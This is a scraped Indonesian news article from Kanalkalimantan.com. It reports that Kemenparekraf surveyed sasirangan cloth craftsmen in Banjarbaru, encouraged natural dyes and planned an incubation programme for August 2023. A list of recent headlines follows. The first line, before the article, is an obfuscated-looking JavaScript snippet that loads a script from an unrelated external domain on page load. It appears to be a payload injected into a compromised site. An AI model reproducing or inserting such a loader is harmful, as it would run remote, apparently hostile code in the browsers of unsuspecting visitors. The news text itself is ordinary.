(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kemenparekraf Dorong Perajin Sasirangan Banjarbaru Gunakan Pewarna Alam


KANALKALIMANTAN.COM, BANJARBARU – Kementerian Pariwisata dan Ekonomi Kreatif (Kemenparekraf) RI melakukan survei pelaku usaha dari inkubasi perajin kain sasirangan di Kota Banjarbaru, Kalimantan Selatan.

Ketua Pokja Kriyawastra Kemenparekraf RI Dedi, yang melakukan survei langsung mengungkapkan kualitas kain sasirangan di Banjarbaru sudah ada peningkatan.

“Secara warna dan motif sudah ada peningkatan, harapan kami sesuai dengan tren saat ini kita arahkan kain sasirangan ini menggunakan warna alam, dan bisa jadi tren baru di Banjarbaru dan Kalsel,” katanya saat melakukan survei di Dekranasda Creative Hub, Mess L Banjarbaru, Selasa (27/6/2023) siang.

Baca juga: 111 PPPK Guru Dilantik, Ini Pesan Pj Bupati HSU

Dedi berharap, para perajin yang akan mengikuti program inkubasi, bisa mendapatkan ilmu dan wawasan baru.

“Harapan kami para perajin setelah mengikuti inkubasi, bisa mendapatkan ilmu, menambah wawasan, naik level, dan juga memberikan dampak positif di sekitarnya,” imbuhnya.

Kemenparekraf RI melakukan survei pelaku usaha dari inkubasi perajin kain sasirangan di Kota Banjarbaru, Kalimantan Selatan. Foto: medcenbjb

Program inkubasi perajin kain sasirangan di Banjarbaru merupakan inisiatif dari Kemenparekraf RI bertujuan untuk memberikan pendampingan dan pelatihan kepada perajin kain sasirangan. Program ini bertujuan untuk meningkatkan kualitas dan keterampilan para perajin serta memperluas pasar dan jaringan distribusi untuk produk kain sasirangan.

Baca juga: Metode Mulsa Tanpa Olah Tanah, Petani Ibu Kota Panen Raya Padi Lokal

Selain peningkatan kualitas dan akses pasar, program inkubasi juga memberikan dampak positif dalam aspek ekonomi. Para perajin diharapkan mampu meningkatkan harga jual produk mereka dan memperoleh pendapatan yang lebih baik, yang pada akhirnya memberikan dampak positif terhadap kesejahteraan dan keberlanjutan usaha mereka.

Sekadar diketahui, program inkubasi perajin kain sasirangan direncanakan bergulir pada awal bulan Agustus 2023. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

38 menit ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

4 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

8 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

23 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

23 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.